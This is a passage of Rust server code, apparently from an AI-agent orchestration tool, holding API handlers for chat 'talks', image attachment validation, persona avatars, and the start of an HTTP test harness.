7162 let id = resolve_talk(&ui.talks, &id)?;
7163 let mut talk = ui.talks.get(&id)?;
7164 if !talk.status.open() {
7165 return Err(ApiError::conflict(format!(
7166 "talk {} is {} and takes no more turns",
7167 talk.short(),
7168 talk.status.as_str()
7169 )));
7170 }
7171 if !talk::clear_pending_if_matches(
7172 &mut talk,
7173 &ui.talks,
7174 &body.expected_text,
7175 &body.expected_attachments,
7176 )? {
7177 return Err(ApiError::conflict(
7178 "queued message changed; reload it before clearing",
7179 ));
7180 }
7181 let thinking = ui.is_thinking(&talk.id);
7182 Ok(Json(TalkView::new(talk, thinking)))
7183 })
7184 .await
7185}
7186
7187async fn talk_pending_edit(
7191 State(ui): State<Arc<Ui>>,
7192 Path(id): Path<String>,
7193 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7194) -> ApiResult<Json<TalkView>> {
7195 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7196 let (view, reclaimed) = blocking({
7197 let ui = Arc::clone(&ui);
7198 move || {
7199 let id = resolve_talk(&ui.talks, &id)?;
7200 let mut talk = ui.talks.get(&id)?;
7201 if !talk.status.open() {
7202 return Err(ApiError::conflict(format!(
7203 "talk {} is {} and takes no more turns",
7204 talk.short(),
7205 talk.status.as_str()
7206 )));
7207 }
7208 if !talk::edit_pending_text(
7209 &mut talk,
7210 &ui.talks,
7211 &body.text,
7212 &body.expected_text,
7213 &body.expected_attachments,
7214 )? {
7215 return Err(ApiError::conflict(
7216 "queued message changed; reload it before editing",
7217 ));
7218 }
7219 let claim = match ui.begin_queued_talk_turn(&id)? {
7220 Some(turn_guard) => {
7221 let (cfg, _) = Config::discover(&talk.repo, None)?;
7222 Some((talk.clone(), cfg, id.clone(), turn_guard))
7223 }
7224 None => None,
7225 };
7226 let thinking = ui.is_thinking(&id);
7227 Ok((TalkView::new(talk, thinking), claim))
7228 }
7229 })
7230 .await?;
7231 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7232 let talks = ui.talks.clone();
7233 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7234 }
7235 Ok(Json(view))
7236}
7237
7238fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7240 if talk.status.open() {
7241 return Ok(());
7242 }
7243 Err(ApiError::conflict(format!(
7244 "talk {} is {} and takes no more turns",
7245 talk.short(),
7246 talk.status.as_str()
7247 )))
7248}
7249
7250#[derive(Debug, Deserialize)]
7252struct TalkAgent {
7253 agent: String,
7254}
7255
7256async fn talk_agent(
7261 State(ui): State<Arc<Ui>>,
7262 Path(id): Path<String>,
7263 Json(body): Json<TalkAgent>,
7264) -> ApiResult<Json<TalkView>> {
7265 let id = {
7266 let ui = Arc::clone(&ui);
7267 blocking(move || resolve_talk(&ui.talks, &id)).await?
7268 };
7269 let repo = {
7270 let ui = Arc::clone(&ui);
7271 let id = id.clone();
7272 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7273 };
7274 let cfg = config_for(&repo).await?;
7275 {
7277 let ui = Arc::clone(&ui);
7278 let id = id.clone();
7279 let cfg = cfg.clone();
7280 let wanted = body.agent.clone();
7281 blocking(move || {
7282 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7283 .map_err(ApiError::bad_request_from)?;
7284 refuse_if_closed(&ui.talks.get(&id)?)
7285 })
7286 .await?;
7287 }
7288 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7289 return Err(ApiError::conflict(
7290 "a talk turn is running; change the agent once it has answered",
7291 ));
7292 };
7293 let switched = {
7294 let ui = Arc::clone(&ui);
7295 let id = id.clone();
7296 let cfg = cfg.clone();
7297 blocking(move || {
7298 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7299 .map_err(ApiError::bad_request_from)?;
7300 let mut talk = ui.talks.get(&id)?;
7301 if !talk.status.open() {
7302 return Err(ApiError::conflict(format!(
7303 "talk {} is {} and takes no more turns",
7304 talk.short(),
7305 talk.status.as_str()
7306 )));
7307 }
7308 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7309 Ok(talk)
7310 })
7311 .await
7312 };
7313 let fresh = {
7318 let ui = Arc::clone(&ui);
7319 let id = id.clone();
7320 blocking(move || Ok(ui.talks.get(&id)?)).await
7321 };
7322 let draining = match fresh {
7323 Ok(talk) => {
7324 let draining = talk.status.open()
7325 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7326 let talks = ui.talks.clone();
7327 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7328 draining
7329 }
7330 Err(_) => false,
7331 };
7332 let talk = switched?;
7333 Ok(Json(TalkView::new(talk, draining)))
7334}
7335
7336#[derive(Debug, Deserialize)]
7338struct TalkPersona {
7339 persona: String,
7340}
7341
7342async fn talk_persona(
7346 State(ui): State<Arc<Ui>>,
7347 Path(id): Path<String>,
7348 Json(body): Json<TalkPersona>,
7349) -> ApiResult<Json<TalkView>> {
7350 let id = {
7351 let ui = Arc::clone(&ui);
7352 blocking(move || resolve_talk(&ui.talks, &id)).await?
7353 };
7354 let repo = {
7355 let ui = Arc::clone(&ui);
7356 let id = id.clone();
7357 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7358 };
7359 let cfg = config_for(&repo).await?;
7360 {
7362 let ui = Arc::clone(&ui);
7363 let id = id.clone();
7364 let cfg = cfg.clone();
7365 let wanted = body.persona.clone();
7366 blocking(move || {
7367 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7368 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7369 }
7370 refuse_if_closed(&ui.talks.get(&id)?)
7371 })
7372 .await?;
7373 }
7374 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7375 return Err(ApiError::conflict(
7376 "a talk turn is running; change the persona once it has answered",
7377 ));
7378 };
7379 let switched = {
7380 let ui = Arc::clone(&ui);
7381 let id = id.clone();
7382 let cfg = cfg.clone();
7383 blocking(move || {
7384 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7385 return Err(ApiError::bad_request(format!(
7386 "unknown persona `{}`",
7387 body.persona
7388 )));
7389 };
7390 let mut talk = ui.talks.get(&id)?;
7391 if !talk.status.open() {
7392 return Err(ApiError::conflict(format!(
7393 "talk {} is {} and takes no more turns",
7394 talk.short(),
7395 talk.status.as_str()
7396 )));
7397 }
7398 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7399 Ok(talk)
7400 })
7401 .await
7402 };
7403 let fresh = {
7405 let ui = Arc::clone(&ui);
7406 let id = id.clone();
7407 blocking(move || Ok(ui.talks.get(&id)?)).await
7408 };
7409 let draining = match fresh {
7410 Ok(talk) => {
7411 let draining = talk.status.open()
7412 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7413 let talks = ui.talks.clone();
7414 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7415 draining
7416 }
7417 Err(_) => false,
7418 };
7419 let talk = switched?;
7420 Ok(Json(TalkView::new(talk, draining)))
7421}
7422
7423#[derive(Debug, Deserialize)]
7425struct TalkImplementers {
7426 implementers: u8,
7427}
7428
7429async fn talk_implementers(
7433 State(ui): State<Arc<Ui>>,
7434 Path(id): Path<String>,
7435 Json(body): Json<TalkImplementers>,
7436) -> ApiResult<Json<TalkView>> {
7437 let id = {
7438 let ui = Arc::clone(&ui);
7439 blocking(move || resolve_talk(&ui.talks, &id)).await?
7440 };
7441 let repo = {
7442 let ui = Arc::clone(&ui);
7443 let id = id.clone();
7444 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7445 };
7446 let cfg = config_for(&repo).await?;
7447 {
7452 let ui = Arc::clone(&ui);
7453 let id = id.clone();
7454 let cfg = cfg.clone();
7455 let wanted = body.implementers;
7456 blocking(move || {
7457 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7458 refuse_if_closed(&ui.talks.get(&id)?)
7459 })
7460 .await?;
7461 }
7462 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7463 return Err(ApiError::conflict(
7464 "a talk turn is running; change the implementers once it has answered",
7465 ));
7466 };
7467 let switched = {
7468 let ui = Arc::clone(&ui);
7469 let id = id.clone();
7470 let cfg = cfg.clone();
7471 blocking(move || {
7472 let chosen =
7473 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7474 let mut talk = ui.talks.get(&id)?;
7475 if !talk.status.open() {
7476 return Err(ApiError::conflict(format!(
7477 "talk {} is {} and takes no more turns",
7478 talk.short(),
7479 talk.status.as_str()
7480 )));
7481 }
7482 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7483 Ok(talk)
7484 })
7485 .await
7486 };
7487 let fresh = {
7489 let ui = Arc::clone(&ui);
7490 let id = id.clone();
7491 blocking(move || Ok(ui.talks.get(&id)?)).await
7492 };
7493 let draining = match fresh {
7494 Ok(talk) => {
7495 let draining = talk.status.open()
7496 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7497 let talks = ui.talks.clone();
7498 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7499 draining
7500 }
7501 Err(_) => false,
7502 };
7503 let talk = switched?;
7504 Ok(Json(TalkView::new(talk, draining)))
7505}
7506
7507async fn talk_close(
7509 State(ui): State<Arc<Ui>>,
7510 Path(id): Path<String>,
7511) -> ApiResult<Json<TalkView>> {
7512 blocking(move || {
7513 let id = resolve_talk(&ui.talks, &id)?;
7514 let mut talk = ui.talks.get(&id)?;
7515 talk::close(&mut talk, &ui.talks)?;
7516 let thinking = ui.is_thinking(&talk.id);
7517 Ok(Json(TalkView::new(talk, thinking)))
7518 })
7519 .await
7520}
7521
7522async fn talk_reopen(
7524 State(ui): State<Arc<Ui>>,
7525 Path(id): Path<String>,
7526) -> ApiResult<Json<TalkView>> {
7527 blocking(move || {
7528 let id = resolve_talk(&ui.talks, &id)?;
7529 let mut talk = ui.talks.get(&id)?;
7530 talk::reopen(&mut talk, &ui.talks)?;
7531 let thinking = ui.is_thinking(&talk.id);
7532 Ok(Json(TalkView::new(talk, thinking)))
7533 })
7534 .await
7535}
7536
7537async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7547 blocking(move || {
7548 let id = resolve_talk(&ui.talks, &id)?;
7549 ui.talks.remove(&id)?;
7550 Ok(StatusCode::NO_CONTENT)
7551 })
7552 .await
7553}
7554
7555fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7557 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7558}
7559
7560async fn talk_attachment_post(
7563 State(ui): State<Arc<Ui>>,
7564 Path(id): Path<String>,
7565 headers: HeaderMap,
7566 body: Bytes,
7567) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7568 let mime = validate_attachment(&headers, &body)?;
7569 let name = filename_header(&headers);
7570 let data = body.to_vec();
7571 blocking(move || {
7572 let id = resolve_talk(&ui.talks, &id)?;
7573 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7574 Ok((StatusCode::CREATED, Json(att)))
7575 })
7576 .await
7577}
7578
7579async fn talk_attachment_get(
7582 State(ui): State<Arc<Ui>>,
7583 Path((id, att)): Path<(String, String)>,
7584) -> ApiResult<Response> {
7585 blocking(move || {
7586 let id = resolve_talk(&ui.talks, &id)?;
7587 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7588 return Err(ApiError::not_found(format!(
7589 "talk {id} has no attachment `{att}`"
7590 )));
7591 };
7592 Ok(attachment_response(&meta.mime, data))
7593 })
7594 .await
7595}
7596
7597fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7600 let mut id = String::new();
7601 for b in p.id.bytes() {
7602 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7603 id.push(char::from(b));
7604 } else {
7605 id.push_str(&format!("%{b:02X}"));
7606 }
7607 }
7608 format!(
7609 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7610 persona_icon::fingerprint(p.icon.as_deref())
7611 )
7612}
7613
7614#[derive(Debug, Default, Deserialize)]
7615struct AvatarQuery {
7616 persona: Option<String>,
7617 builtin: Option<String>,
7619}
7620
7621const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7623
7624fn builtin_avatar(id: &str) -> Response {
7625 (
7626 [
7627 (header::CONTENT_TYPE, "image/svg+xml"),
7628 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7629 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7630 (header::CACHE_CONTROL, "no-cache"),
7631 ],
7632 persona_icon::builtin_svg(id),
7633 )
7634 .into_response()
7635}
7636
7637async fn talk_avatar(
7642 State(ui): State<Arc<Ui>>,
7643 Path(id): Path<String>,
7644 Query(q): Query<AvatarQuery>,
7645) -> ApiResult<Response> {
7646 blocking(move || {
7647 let id = resolve_talk(&ui.talks, &id)?;
7648 let talk = ui.talks.get(&id)?;
7649 let wanted = q
7650 .persona
7651 .as_deref()
7652 .map(str::trim)
7653 .filter(|p| !p.is_empty())
7654 .unwrap_or(&talk.persona)
7655 .to_owned();
7656 let specs = match Config::discover(&talk.repo, None) {
7657 Ok((cfg, _)) => cfg.talk.personas,
7658 Err(e) => {
7659 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7660 Vec::new()
7661 }
7662 };
7663 let Some(found) = persona::find(&specs, &wanted) else {
7664 return Ok(builtin_avatar(persona::DEFAULT_ID));
7665 };
7666 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7667 return Ok(builtin_avatar(&found.id));
7668 };
7669 match persona_icon::load(icon) {
7670 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7671 let mut res = attachment_response(mime, bytes);
7672 res.headers_mut().insert(
7673 header::CACHE_CONTROL,
7674 header::HeaderValue::from_static("no-cache"),
7675 );
7676 Ok(res)
7677 }
7678 Ok((mime, _)) => {
7679 tracing::warn!(
7680 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7681 found.id
7682 );
7683 Ok(builtin_avatar(&found.id))
7684 }
7685 Err(e) => {
7686 tracing::warn!(
7687 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7688 found.id
7689 );
7690 Ok(builtin_avatar(&found.id))
7691 }
7692 }
7693 })
7694 .await
7695}
7696
7697fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7708 if data.len() > ATTACHMENT_MAX_BYTES {
7709 return Err(ApiError::bad_request(format!(
7710 "attachment is {} bytes, over the {} MiB limit",
7711 data.len(),
7712 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7713 ))
7714 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7715 }
7716 if data.is_empty() {
7717 return Err(ApiError::bad_request("attachment is empty"));
7718 }
7719 let declared = declared_mime(headers)?;
7720 match sniffed_mime(data) {
7721 Some(sniffed) if sniffed == declared => Ok(declared),
7722 Some(sniffed) => Err(ApiError::bad_request(format!(
7723 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7724 ))),
7725 None => Err(ApiError::bad_request(
7726 "the file's bytes do not match any accepted image format",
7727 )),
7728 }
7729}
7730
7731fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7735 let raw = headers
7736 .get(header::CONTENT_TYPE)
7737 .and_then(|v| v.to_str().ok())
7738 .unwrap_or("")
7739 .split(';')
7740 .next()
7741 .unwrap_or("")
7742 .trim()
7743 .to_ascii_lowercase();
7744 ATTACHMENT_MIME_WHITELIST
7745 .iter()
7746 .find(|&&m| m == raw)
7747 .copied()
7748 .ok_or_else(|| {
7749 if raw == "image/svg+xml" {
7750 ApiError::bad_request(
7751 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7752 not just a picture",
7753 )
7754 } else if raw.is_empty() {
7755 ApiError::bad_request("Content-Type is required for an attachment upload")
7756 } else {
7757 ApiError::bad_request(format!(
7758 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7759 image/gif or image/webp"
7760 ))
7761 }
7762 })
7763}
7764
7765fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7768 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7769 Some("image/png")
7770 } else if data.starts_with(b"\xff\xd8\xff") {
7771 Some("image/jpeg")
7772 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7773 Some("image/gif")
7774 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7775 Some("image/webp")
7776 } else {
7777 None
7778 }
7779}
7780
7781fn filename_header(headers: &HeaderMap) -> String {
7787 headers
7788 .get(FILENAME_HEADER)
7789 .and_then(|v| v.to_str().ok())
7790 .map(str::trim)
7791 .filter(|s| !s.is_empty())
7792 .unwrap_or("attachment")
7793 .to_owned()
7794}
7795
7796fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7803 let content_type = ATTACHMENT_MIME_WHITELIST
7804 .iter()
7805 .find(|&&m| m == mime)
7806 .copied()
7807 .unwrap_or("application/octet-stream");
7808 (
7809 [
7810 (header::CONTENT_TYPE, content_type),
7811 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7812 ],
7813 body,
7814 )
7815 .into_response()
7816}
7817
7818async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7826 let repo = repo.to_path_buf();
7827 blocking(move || {
7828 let (cfg, _) = Config::discover(&repo, None)?;
7829 Ok(cfg)
7830 })
7831 .await
7832}
7833
7834fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7840 let mut hits = ids
7841 .into_iter()
7842 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7843 match (hits.next(), hits.next()) {
7844 (Some(one), None) => Ok(one),
7845 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7846 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7847 "`{prefix}` matches more than one {what}, including {a} and {b}"
7848 ))),
7849 }
7850}
7851
7852#[cfg(test)]
7853mod tests {
7854
7855 #[test]
7856 fn holder_reads_the_lease_not_the_record() {
7857 let mut q = Question::new(
7858 "run".to_owned(),
7859 "implement".to_owned(),
7860 "impl-A".to_owned(),
7861 "which?".to_owned(),
7862 String::new(),
7863 Vec::new(),
7864 );
7865 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7866 q.cwd = Some("/tmp".to_owned());
7867 assert_eq!(holder_of(&q, None), Some("nobody"));
7868 let beat = |kind, ago: i64| ask::Lease {
7869 kind,
7870 pid: 1,
7871 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7872 .unwrap(),
7873 };
7874 let fresh = beat(ask::WaiterKind::Asker, 1);
7875 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7876 let daemon = beat(ask::WaiterKind::Daemon, 1);
7877 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7878 let stale = beat(ask::WaiterKind::Asker, 3600);
7879 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7880
7881 let mut c = Question::new(
7884 "task".to_owned(),
7885 crate::conduct::NODE.to_owned(),
7886 "conduct".to_owned(),
7887 "which?".to_owned(),
7888 String::new(),
7889 Vec::new(),
7890 );
7891 assert_eq!(holder_of(&c, None), Some("nobody"));
7892 c.cwd = Some("/tmp".to_owned());
7893 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7894 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7895 let deputy = beat(ask::WaiterKind::Deputy, 1);
7896 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7897 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7898
7899 let mut r = Question::new(
7901 String::new(),
7902 crate::bump::NOTICE_NODE.to_owned(),
7903 "release-watch".to_owned(),
7904 "stuck?".to_owned(),
7905 String::new(),
7906 vec!["hold".to_owned()],
7907 );
7908 assert_eq!(holder_of(&r, None), Some("nobody"));
7909 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7910 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7911 r.deputy = None;
7913 r.seat = "bump".to_owned();
7914 assert_eq!(holder_of(&r, None), None);
7915
7916 let mut m = Question::new(
7919 "run".to_owned(),
7920 crate::land::APPROVAL_NODE.to_owned(),
7921 "land".to_owned(),
7922 "merge?".to_owned(),
7923 String::new(),
7924 Vec::new(),
7925 );
7926 assert_eq!(holder_of(&m, None), Some("nobody"));
7927 assert_eq!(
7928 holder_of(&m, Some(&fresh)),
7929 Some("nobody"),
7930 "a lease with no deputy is not a listener"
7931 );
7932 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7933 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7934 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7935 assert_eq!(holder_of(&m, None), Some("nobody"));
7936 }
7937
7938 fn stub_config() -> Config {
7939 Config {
7942 agents: vec![crate::config::AgentSpec {
7943 id: "stub".to_owned(),
7944 kind: AgentKind::Command,
7945 model: None,
7946 command: vec!["true".to_owned()],
7947 extra_args: Vec::new(),
7948 env: Default::default(),
7949 prompt_delivery: None,
7950 }],
7951 ..Config::default()
7952 }
7953 }
7954
7955 fn plain_question(seat: &str) -> Question {
7956 Question::new(
7957 String::new(),
7958 "n".to_owned(),
7959 seat.to_owned(),
7960 "s".to_owned(),
7961 String::new(),
7962 Vec::new(),
7963 )
7964 }
7965
7966 #[test]
7967 fn deputies_enabled_follows_the_config() {
7968 let on = stub_config();
7969 assert!(crate::deputy::can_start(Some(&on), ""));
7970 assert!(crate::deputy::can_start(Some(&on), "stub"));
7971 let mut off = on.clone();
7972 off.daemon.max_deputies = 0;
7973 assert!(!crate::deputy::can_start(Some(&off), ""));
7974 let mut empty = on;
7975 empty.agents.clear();
7976 assert!(!crate::deputy::can_start(Some(&empty), ""));
7977 assert!(!crate::deputy::can_start(None, ""));
7978 }
7979
7980 #[test]
7981 fn question_views_load_the_config_once() {
7982 let dir = TempDir::new().unwrap();
7983 let store = ask::Questions::at(dir.path().to_path_buf());
7984 let mut with_deputy = plain_question("b");
7985 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7986 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7987
7988 let calls = std::cell::Cell::new(0usize);
7989 let views = question_views(qs.clone(), &store, || {
7990 calls.set(calls.get() + 1);
7991 Some(stub_config())
7992 });
7993 assert_eq!(calls.get(), 1);
7994 assert_eq!(views.len(), 3);
7995 for (v, q) in views.iter().zip(&qs) {
7996 assert_eq!(
7997 v.deputies_enabled,
7998 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7999 );
8000 }
8001
8002 let views = question_views(qs, &store, || None);
8003 assert!(views.iter().all(|v| !v.deputies_enabled));
8004
8005 let calls = std::cell::Cell::new(0usize);
8006 let views = question_views(Vec::new(), &store, || {
8007 calls.set(calls.get() + 1);
8008 None
8009 });
8010 assert!(views.is_empty());
8011 assert_eq!(calls.get(), 0);
8012 }
8013
8014 use pretty_assertions::assert_eq;
8015 use serde_json::Value;
8016 use tempfile::TempDir;
8017 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8018
8019 use super::*;
8020 use crate::config::Config;
8021 use crate::queue::Source;
8022
8023 const SETTLE_STEPS: usize = 3_000;
8034
8035 struct Fixture {
8041 home: TempDir,
8042 addr: SocketAddr,
8043 }
8044
8045 impl Fixture {
8046 async fn start() -> Self {
8047 Self::with_loop(launch_idle).await
8048 }
8049
8050 async fn with_loop(launch: Launch) -> Self {
8052 let home = TempDir::new().expect("temp home");
8053 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8054 Self { home, addr }
8055 }
8056
8057 async fn with_repo(repo: PathBuf) -> Self {
8061 let home = TempDir::new().expect("temp home");
8062 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8063 Self { home, addr }
8064 }
8065
8066 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8069 let home = TempDir::new().expect("temp home");
8070 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8071 Self { home, addr }
8072 }
8073
8074 async fn serve(
8075 home: &FsPath,
8076 repo: PathBuf,
8077 launch: Launch,
8078 machine: Option<PathBuf>,
8079 ) -> SocketAddr {
8080 let queue = Queue::at(home.join("queue"));
8081 let runs = home.join("runs");
8082 std::fs::create_dir_all(&runs).expect("runs dir");
8083 let worktrees = home.join("wt").join("magi");
8084 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8085 let ui = Ui::new(
8086 queue,
8087 Questions::at(home.join("questions")),
8088 Talks::at(home.join("talks")),
8089 runs,
8090 home.to_path_buf(),
8091 repo,
8092 )
8093 .with_worktrees_root(worktrees)
8094 .with_machine_config(machine)
8095 .with_launch(launch);
8096 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8097 .await
8098 .expect("bind loopback");
8099 let addr = listener.local_addr().expect("local addr");
8100 tokio::spawn(async move {
8101 let _ = axum::serve(listener, ui.router()).await;
8102 });
8103 addr
8104 }
8105
8106 fn queue(&self) -> Queue {
8107 Queue::at(self.home.path().join("queue"))
8108 }
8109
8110 fn questions(&self) -> Questions {
8111 Questions::at(self.home.path().join("questions"))
8112 }
8113
8114 fn talks(&self) -> Talks {
8115 Talks::at(self.home.path().join("talks"))
8116 }
8117
8118 fn runs(&self) -> PathBuf {
8119 self.home.path().join("runs")
8120 }
8121
8122 async fn get(&self, path: &str) -> Res {
8123 request(self.addr, "GET", path, None).await
8124 }
8125
8126 async fn head(&self, path: &str) -> Res {
8131 request(self.addr, "HEAD", path, None).await
8132 }
8133
8134 async fn post(&self, path: &str, body: Option<&str>) -> Res {
8135 request(self.addr, "POST", path, body).await
8136 }
8137
8138 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8139 request_with(self.addr, "GET", path, None, extra).await
8140 }
8141
8142 async fn delete(&self, path: &str) -> Res {
8143 request(self.addr, "DELETE", path, None).await
8144 }
8145
8146 async fn put(&self, path: &str, body: &str) -> Res {
8147 request(self.addr, "PUT", path, Some(body)).await
8148 }
8149
8150 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8152 request_bytes(self.addr, path, headers, body).await
8153 }
8154 }
8155
8156 struct Res {
8157 status: u16,
8158 headers: String,
8159 head: String,
8164 body: String,
8165 bytes: Vec<u8>,
8169 }
8170
8171 impl Res {
8172 fn json(&self) -> Value {
8173 serde_json::from_str(&self.body)
8174 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8175 }
8176
8177 fn header(&self, name: &str) -> Option<&str> {
8179 self.head.lines().find_map(|line| {
8180 let (key, value) = line.split_once(':')?;
8181 key.trim()
8182 .eq_ignore_ascii_case(name)
8183 .then(|| value.trim_start().trim_end_matches('\r'))
8184 })
8185 }
8186 }
8187
8188 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8191 request_with(addr, method, path, body, &[]).await
8192 }
8193
8194 async fn request_with(
8198 addr: SocketAddr,
8199 method: &str,
8200 path: &str,
8201 body: Option<&str>,
8202 extra: &[(&str, &str)],
8203 ) -> Res {
8204 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8205 for (name, value) in extra {
8206 head.push_str(&format!("{name}: {value}\r\n"));
8207 }
8208 if let Some(body) = body {
8209 head.push_str("Content-Type: application/json\r\n");
8210 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8211 }
8212 head.push_str("\r\n");
8213 if let Some(body) = body {
8214 head.push_str(body);
8215 }
8216 let mut socket = tokio::net::TcpStream::connect(addr)
8217 .await
8218 .expect("connect to the test server");
8219 socket
8220 .write_all(head.as_bytes())
8221 .await
8222 .expect("write request");
8223 let mut raw = Vec::new();
8224 socket.read_to_end(&mut raw).await.expect("read response");
8225 let split = raw
8228 .windows(4)
8229 .position(|w| w == b"\r\n\r\n")
8230 .expect("a header block");
8231 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8232 let bytes = raw[split + 4..].to_vec();
8233 let status = head
8234 .lines()
8235 .next()
8236 .and_then(|line| line.split_whitespace().nth(1))
8237 .and_then(|code| code.parse().ok())
8238 .expect("a status line");
8239 Res {
8240 status,
8241 headers: head.to_lowercase(),
8242 head,
8243 body: String::from_utf8_lossy(&bytes).into_owned(),
8244 bytes,
8245 }
8246 }
8247
8248 async fn request_bytes(
8254 addr: SocketAddr,
8255 path: &str,
8256 headers: &[(&str, &str)],
8257 body: &[u8],
8258 ) -> Res {
8259 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8260 for (name, value) in headers {
8261 head.push_str(&format!("{name}: {value}\r\n"));
8262 }
8263 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8264 let mut socket = tokio::net::TcpStream::connect(addr)
8265 .await
8266 .expect("connect to the test server");
8267 socket
8268 .write_all(head.as_bytes())
8269 .await
8270 .expect("write request head");
8271 socket.write_all(body).await.expect("write request body");
8272 let mut raw = Vec::new();
8273 socket.read_to_end(&mut raw).await.expect("read response");
8274 let split = raw
8275 .windows(4)
8276 .position(|w| w == b"\r\n\r\n")
8277 .expect("a header block");
8278 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8279 let bytes = raw[split + 4..].to_vec();
8280 let status = head
8281 .lines()
8282 .next()
8283 .and_then(|line| line.split_whitespace().nth(1))
8284 .and_then(|code| code.parse().ok())
8285 .expect("a status line");
8286 Res {
8287 status,
8288 headers: head.to_lowercase(),
8289 head,
8290 body: String::from_utf8_lossy(&bytes).into_owned(),
